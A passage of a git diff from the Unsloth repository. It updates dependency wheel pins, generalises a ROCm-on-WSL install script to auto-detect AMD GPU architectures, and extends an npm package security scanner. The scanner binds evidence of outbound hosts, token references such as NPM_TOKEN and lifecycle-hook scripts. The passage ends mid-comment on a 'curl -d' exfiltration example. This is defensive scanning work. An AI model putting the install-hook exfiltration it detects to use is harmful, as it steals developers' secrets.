python_version=='3.10' and ('linux' in sys_platform)", "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-manylinux_2_28_x86_64.whl ; python_version=='3.11' and ('linux' in sys_platform)", "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-manylinux_2_28_x86_64.whl ; python_version=='3.12' and ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp39-cp39-win_amd64.whl ; python_version=='3.9' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-win_amd64.whl ; python_version=='3.10' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp311-cp311-win_amd64.whl ; python_version=='3.11' and (sys_platform == 'win32')", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp312-cp312-win_amd64.whl ; python_version=='3.12' and (sys_platform == 'win32')", ] cu126onlytorch270 = [ "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.30-cp39-cp39-manylinux_2_28_x86_64.whl ; python_version=='3.9' and ('linux' in sys_platform)", @@ -281,7 +279,6 @@ cu128onlytorch270 = [ ] cu118onlytorch271 = [ "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", - "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.31.post1-cp39-abi3-win_amd64.whl ; (sys_platform == 'win32')", ] cu126onlytorch271 = [ "xformers @ https://download.pytorch.org/whl/cu126/xformers-0.0.31.post1-cp39-abi3-manylinux_2_28_x86_64.whl ; ('linux' in sys_platform)", @@ -583,7 +580,7 @@ colab-ampere-torch220 = [ "flash-attn>=2.6.3 ; ('linux' in sys_platform)", ] colab-new = [ - "unsloth_zoo>=2026.6.6", + "unsloth_zoo>=2026.7.2", "packaging", "tyro", "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0", @@ -878,14 +875,12 @@ flashattentiontorch240abiFALSEcu12x = [ "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiFALSE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", ] flashattentiontorch240abiTRUEcu12x = [ "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp310-cp310-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.10'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp311-cp311-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.11'", "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp312-cp312-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.12'", - "flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.4cxx11abiTRUE-cp313-cp313-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.13'", ] intelgputorch260 = [ "unsloth_zoo[intelgpu]", @@ -1173,14 +1168,14 @@ intelgputorch2120 = [ "unsloth_zoo[intelgpu]", "unsloth[huggingfacenotorch]", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=844d981cb1b3948085e8cfa62c74de9f100259f6131959aa70be49123b88ae81 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a16b1d00e94ad87d62af3512e390348b8656419598004100c56028bf494f086b ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4e46e71e077cf483404a4c17ce40d71c5f0e13a81459139d4346ca427b1dd455 ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=4fdaed1bafc51d3a2834656a3420a6686a74ea226508765a49bf15d58ff3a930 ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=2778b46b22e9fa0916398db299a125027a1b2331c1173b3dd2b9e2cab6263a31 ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=ad5b147d04ee0d40f3d4d32f85f5aa3a3beb6cd5799ca026d3d7f4afa3d9e24f ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=d9482063af2a308543f23333e32edd738ea87cbb33ade68afda9ae0fd704ccd9 ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", - "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=5d4d67f0deb1e851c01b293e602b8dcddad26ca2be61221cee3dc0e1aa0cdefd ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=81ff0eb0c4fc8e19d2510b28c3e1d9382a3c7d6fdaf6a9f9631a93a030d841cf ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=55574a68d275b85cd4d5cbf185084bae019ebf09c3f43b0bd2831b14935ec8e7 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=a31c058c5c2e78ebe490a2e69f2f50caec6b1307ac096e944f116fdc06819d9a ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl#sha256=e701a31efa0334775f357c98716f3821775aa944219f7888e13c2dfe2daabe2a ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp310-cp310-win_amd64.whl#sha256=0d7730651c3e52fbf3a430cc201455f0c6600dc72e681aec495f131ea44f341a ; sys_platform == 'win32' and python_version == '3.10' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp311-cp311-win_amd64.whl#sha256=8f4a63de73e3d632098f93c8f0bd77244958a47d7c5f728b8ff35f8a91fdb983 ; sys_platform == 'win32' and python_version == '3.11' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp312-cp312-win_amd64.whl#sha256=6589ece3adc2b1ab88d90ff1267afc25df5c7b868f0b633e732cac70df36cbde ; sys_platform == 'win32' and python_version == '3.12' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", + "triton-xpu @ https://download.pytorch.org/whl/triton_xpu-3.7.1-cp313-cp313-win_amd64.whl#sha256=2fdf001a9b0575e8b1827127259bb9b13bf36e659882be74c2dfab46597d3e7a ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')", "torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp310-cp310-linux_x86_64.whl#sha256=e8923cd1fe560472904b1461b745d2f1826bb9c1bc0808225d5f28a450e4d553 ; platform_system == 'Linux' and python_version == '3.10' and platform_machine == 'x86_64'", "torch @ https://download.pytorch.org/whl/xpu/torch-2.12.0%2Bxpu-cp311-cp311-linux_x86_64.whl#sha256=f7c082b2fc9b61def594d30ea57762dc4a8bc7111a9a9593953ed948de242e28 ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'", diff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.sh index 5ef9ee386a..aa560fc432 100644 --- a/scripts/install_rocm_wsl_strixhalo.sh +++ b/scripts/install_rocm_wsl_strixhalo.sh @@ -3,13 +3,14 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # # ────────────────────────────────────────────────────────────────────────────── -# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151) +# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX +# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT). # ────────────────────────────────────────────────────────────────────────────── -# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime -# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG -# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04 -# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via -# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies). +# install.sh routes the detected arch to the right ROCm wheels once a runtime exists; +# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg). +# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by +# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the +# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent. # # Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with # production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once @@ -34,10 +35,12 @@ set -euo pipefail # ── Tunables (override via env) ────────────────────────────────────────────── ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}" # ROCm release to install -GFX="gfx1151" +# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200). +# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch. +GFX="${UNSLOTH_WSL_GFX:-}" LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}" # ROCm/librocdxg git ref to build -# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test. -TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/" +# AMD's wheel index for the (optional) smoke test; resolved after arch detection. +TORCH_INDEX="" # Optional torch smoke test (throwaway venv). OFF by default: install.sh installs # torch itself into the real venv right after, so a duplicate download is wasteful. SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}" @@ -220,12 +223,12 @@ $SUDO ldconfig say "Persisting ROCm-on-WSL environment" _envfile="/etc/profile.d/unsloth-rocm-wsl.sh" $SUDO tee "$_envfile" >/dev/null <>> Unsloth ROCm-on-WSL (gfx1151) >>> +# >>> Unsloth ROCm-on-WSL >>> export HSA_ENABLE_DXG_DETECTION=1 export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1 export PATH="${ROCM_DIR}/bin:\${PATH}" export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}" -# <<< Unsloth ROCm-on-WSL (gfx1151) <<< +# <<< Unsloth ROCm-on-WSL <<< EOF # also drop into ~/.bashrc for interactive shells if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then @@ -237,32 +240,50 @@ export PATH="${ROCM_DIR}/bin:${PATH}" export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}" # ── Step 5: verify the runtime enumerates the GPU ──────────────────────────── -say "Verifying rocminfo sees ${GFX}" +say "Verifying rocminfo enumerates the GPU over DXG" # Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs # rocminfo on first match, which under `set -o pipefail` turns a successful match -# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a -# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass. +# into a pipeline failure. _rocminfo_out="$(rocminfo 2>/dev/null || true)" -if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then +# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU +# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch. +_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)" +if [ -z "$_detected_gfx" ]; then printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true - die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run." + die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run." fi +# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under +# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt. +if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then + die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'." +fi +GFX="${GFX:-$_detected_gfx}" # Display-only summary: best-effort (|| true) so head's early pipe-close under # `set -o pipefail` can't fail the bootstrap after verification already passed. printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true note "ROCm-on-WSL runtime is live for ${GFX}." -# ── Step 6 (optional): torch smoke test from the gfx1151 index ─────────────── +# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ─────── if [ "$SMOKE_TEST" = "1" ]; then say "Smoke-testing PyTorch on ${GFX} (throwaway venv)" + # Map the detected arch to AMD's repo.amd.com wheel family index. + case "$GFX" in + gfx1200|gfx1201) _fam="gfx120X-all" ;; + gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;; + *) _fam="$GFX" ;; # gfx1150/gfx1151/gfx90a: own index + esac + TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/" _venv="${HOME}/.unsloth/rocm-smoketest" rm -rf "$_venv"; python3 -m venv "$_venv" "$_venv/bin/pip" install --quiet --upgrade pip - # gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py + # AMD arch index is primary (torch + triton); PyPI only an extra for pure-py # deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch. "$_venv/bin/pip" install --index-url "$TORCH_INDEX" \ --extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \ die "torch install from ${TORCH_INDEX} failed." + # WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib. + _tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)" + [ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true "$_venv/bin/python" - <<'PY' import torch ok = torch.cuda.is_available() diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py index c1d156d40a..47b85147ca 100644 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -40,8 +40,10 @@ from __future__ import annotations import argparse import atexit import base64 as _b64 # imported only so the IOC string-scan can detect it +import bisect import hashlib import io +import itertools import json import os import re @@ -897,20 +899,364 @@ def safe_extract( # ───────────────────────────────────────────────────────────────────── +# How far back to look for an enclosing bracket opener. Symmetric with the +# forward cap so a host that sits deep inside a large options object (its opening +# `{` many properties above) still binds the whole object, not just its own line; +# a too-far start only over-binds (more context, still fail-closed), never less. +_MAX_CONT_LINES = 200 +# Hard cap on how far forward a bracket group is followed to its close, measured +# from the matched line so the tail after the match is always reachable even when +# the opener was found near the backward limit (digest input only, never +# displayed); a realistic config object closes well within it. +_MAX_GROUP_LINES = 200 + +# JS string literal (single / double / template), blanked before counting +# brackets so a bracket inside a string is not mistaken for code. +_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`") + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / on a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / on a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config + object; tracking the running minimum keeps that opener visible so the group + binds the path/headers that follow. Only bracket characters are walked (pulled + out with one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _find_unescaped(line: str, quote: str, start: int) -> int: + """Index of the next ``quote`` at or after ``start`` not escaped by a backslash, + or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored.""" + i, n = start, len(line) + while i < n: + if line[i] == "\\": + i += 2 + continue + if line[i] == quote: + return i + i += 1 + return -1 + + +# A `/` is a regex literal (not division) when the previous significant character +# is none (start) or one of these expression-position chars. Used only by the +# multi-line blanked view, and the span is unioned with the single-line view, so +# an over- or under-detection only ever grows the bound span (never shrinks it). +_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>") + + +def _blank_js_strings(lines: list[str]) -> list[str]: + """Replace string contents (single, double, multi-line backtick template + literals) AND regex literal bodies with spaces across ``lines``, keeping the + line count and every bracket OUTSIDE a string/regex intact, so bracket counting + never miscounts a ``)`` that lives inside a string -- including a template + literal spanning several lines or a ``/)/`` regex -- which a per-line regex + cannot blank. Escapes are honoured.""" + out: list[str] = [] + in_back = False # inside a multi-line `template` literal + prev_sig = "" # last significant non-space char (for regex-vs-division) + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_back: + end = _find_unescaped(line, "`", i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + in_back = False + prev_sig = "`" + continue + ch = line[i] + if ch in " \t": + buf.append(ch) + i += 1 + continue + if ch in "'\"`": + end = _find_unescaped(line, ch, i + 1) + if end == -1: + buf.append(" " * (n - i)) + i = n + if ch == "`": # opens a template literal that runs past this line + in_back = True + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + prev_sig = "v" # a string is a value: a following `/` is division + continue + if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS): + # Regex literal: blank to the closing unescaped `/` outside a `[...]` + # char class. A regex never spans lines, so no close on the line + # means this `/` is really division. + j, in_class, closed = i + 1, False, False + while j < n: + c = line[j] + if c == "\\": + j += 2 + continue + if c == "[": + in_class = True + elif c == "]": + in_class = False + elif c == "/" and not in_class: + j += 1 + closed = True + break + j += 1 + if closed: + buf.append(" " * (j - i)) + i = j + prev_sig = "v" # a regex is a value + continue + buf.append(ch) + i += 1 + prev_sig = "/" + continue + buf.append(ch) + i += 1 + prev_sig = ch + out.append("".join(buf)) + return out + + +def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]: + """Precompute once per evidence call: raw lines for display, two string-blanked + views for bracket counting (single-line via regex = legacy, and multi-line + aware so a template literal spanning lines is blanked), and newline offsets for + O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole + file on every single match (which was O(matches x file size)).""" + lines = text.split("\n") + sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines] + ml_blanked = _blank_js_strings(lines) + nl = [p for p, ch in enumerate(text) if ch == "\n"] + return lines, sl_blanked, ml_blanked, nl + + +# Cap on formatted matches in one evidence string; beyond it the remaining match +# texts are folded into a single digest so a huge/minified file cannot build a +# multi-megabyte evidence blob while an added/removed match past the cap still +# changes the key. +_MAX_EVIDENCE_MATCHES = 64 + + +def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]: + """(start, end) line indices of the bracket group enclosing line ``idx`` in one + blanked view: scan back to the still-open opener, then forward to its close.""" + # Backward: find the line that opens a bracket still unclosed at the match, + # so a match inside a multi-line object starts from the object opener. Each line + # is reduced to (L, R) and applied in order: first the L closers consume open + # brackets from the running context (a stray closer whose opener is outside the + # window only clamps depth at 0, it never goes negative), then the R openers + # add to it. Tracking order this way (rather than a single net per line) keeps a + # trailing opener visible even when leading closers on the same line net it to + # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a + # changed path/headers after such a line ride the unchanged-hostname key. + start = idx + depth = 0 + for j in range(max(0, idx - _MAX_CONT_LINES), idx): + left, right = _bracket_lr(blanked[j]) + if left >= depth: + depth = 0 # everything opened so far in the window has closed + start = idx + else: + depth -= left + if right > 0: + if depth == 0: + start = j # outermost still-open opener begins here + depth += right + + # Forward: extend until the group opened at `start` closes past the match. The + # same order-aware reduction is used (clamping leading closers at 0) so the + # foreign `})` on the opener line does not drive the count negative and stop the + # scan before the real close. The cap is measured from the match (`idx`), not + # from `start`, so an opener found near the backward limit does not eat the + # whole forward budget and drop the path/headers/body that follow the match. + depth = 0 + end = start + for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)): + left, right = _bracket_lr(blanked[j]) + depth = max(0, depth - left) + right + end = j + if j >= idx and depth <= 0: + break + return start, end + + +def _canon_preserve_strings(text: str) -> str: + """Whitespace canon that collapses runs OUTSIDE string literals to a single + space (so a reindent or spacing change between tokens stays stable) while + preserving whitespace INSIDE single/double/backtick string literals (so a + changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain + ``" ".join(text.split())`` erases both, suppressing an intra-literal payload + edit along with harmless indentation. Leading/trailing outside whitespace is + dropped; escapes inside strings are honoured. Used for the evidence hash and + the logical-line digests so the two stay consistent.""" + out: list[str] = [] + i, n = 0, len(text) + quote: str | None = None + pending_space = False + while i < n: + ch = text[i] + if quote is not None: + out.append(ch) + if ch == "\\" and i + 1 < n: + out.append(text[i + 1]) + i += 2 + continue + if ch == quote: + quote = None + i += 1 + continue + if ch.isspace(): + pending_space = True + i += 1 + continue + if pending_space and out: + out.append(" ") + pending_space = False + out.append(ch) + if ch in "'\"`": + quote = ch + i += 1 + return "".join(out) + + +def _logical_line_text( + lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int +) -> str: + """The matched line plus the bracket group it belongs to (the enclosing + multi-line object/call, so a changed ``path``/``headers``/body on another line + binds). Returns the UNION of the groups found in the single-line-blanked view + (legacy: a payload embedded inside a template still counts so its brackets bind + the call) and the multi-line-blanked view (a bracket inside a template literal + spanning lines no longer closes the group early). Unioning never shrinks the + span below either view, so neither blanking strategy can drop a line a + malicious change relies on.""" + s1, e1 = _scan_group(sl_blanked, idx) + s2, e2 = _scan_group(ml_blanked, idx) + start, end = min(s1, s2), max(e1, e2) + return " ".join(lines[start : end + 1]) + + +def _format_match( + text: str, + lines: list[str], + sl_blanked: list[str], + ml_blanked: list[str], + nl: list[int], + m: re.Match, + max_chars: int, +) -> str: + # The shown snippet is a small window around the match; append a digest of the + # full LOGICAL line (the matched line plus its bracket-continuation lines) + # whenever the snippet does not already show all of it, so a changed payload + # tail, a truncated body, or a multi-line option/header reopens. Offsets are + # mapped to line numbers via bisect over precomputed newline positions, so this + # is O(log n) instead of rescanning the file prefix for every match. + idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match + line_start = nl[idx - 1] + 1 if idx > 0 else 0 + ke = bisect.bisect_left(nl, m.end()) + line_end = nl[ke] if ke < len(nl) else len(text) + full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + start = max(line_start, m.start() - 30) + end = min(line_end, m.end() + 30) + snippet = text[start:end].replace("\n", " ") + if len(snippet) > max_chars: + snippet = snippet[:max_chars] + "..." + if snippet != full_logical: + # Normalize before digesting, matching _evidence_hash, so a formatter-only + # reindent of the bound continuation lines does not reopen -- but preserve + # whitespace inside string literals so a changed request/payload body does. + canon = _canon_preserve_strings(full_logical) + digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() + snippet = f"{snippet} sha256:{digest}" + return snippet + + +def _stream_overflow_digest( + matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> tuple[int, str]: + """A single digest binding the LOGICAL line (the bound bracket-group context, + not just the regex match text) of every overflow match in the iterable, plus + the count of matches folded. Streams the matches (any iterable of re.Match) so a + huge overflow never materializes a list. Whitespace-normalized to match + _evidence_hash so a reindent does not reopen.""" + h = hashlib.sha256() + count = 0 + for m in matches: + _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl) + count += 1 + return count, h.hexdigest() + + +def _fold_overflow_match( + h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> None: + """Fold one overflow match's whitespace-normalized logical-line context into the + running hash ``h``. Shared by _stream_overflow_digest and the inline overflow + fold in _outbound_host_evidence so both produce the identical digest.""" + idx = bisect.bisect_left(nl, m.start()) + ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + h.update(b"\x00") + h.update(_canon_preserve_strings(ll).encode("utf-8", "replace")) + + def _evidence( text: str, pat: re.Pattern, max_chars: int = 200, ) -> str: - m = pat.search(text) - if not m: + # Record every match (not a truncated sample) so an extra match appended to an + # already-flagged file changes the evidence instead of riding the first few. + # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest + # (binding their logical-line context) so the evidence string stays bounded + # while a changed payload past the cap still reopens. The matches are streamed + # from finditer rather than materialized into a list: a generated file can + # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a + # re.Match per occurrence before applying the cap would stall or OOM the scan. + it = pat.finditer(text) + shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES)) + if not shown_matches: return "" - start = max(0, m.start() - 30) - end = min(len(text), m.end() + 30) - snippet = text[start:end].replace("\n", " ") - if len(snippet) > max_chars: - snippet = snippet[:max_chars] + "..." - return snippet + lines, sl_blanked, ml_blanked, nl = _index_text(text) + shown = [ + _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches + ] + # Fold the rest (past the cap) into one digest as they arrive, never building a + # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:]. + overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl) + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{digest}") + return " | ".join(shown) + + +def _ioc_evidence(text: str, needle: str) -> str: + """Matched-line context (with bracket-group continuation) for a literal IOC + needle, so a changed adjacent fetch/exfil body reopens the key instead of + riding the bare constant. Falls back to the needle itself if, defensively, + nothing matches (the caller only reaches here when ``needle in text``).""" + return _evidence(text, re.compile(re.escape(needle))) or needle LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare") @@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: body = scripts.get(hook) if not isinstance(body, str): continue + # Pin the whole lifecycle body via one digest shared by every lifecycle + # finding below: a script that keeps the matched signal but changes + # another line (e.g. swapping `echo safe` for `curl -d 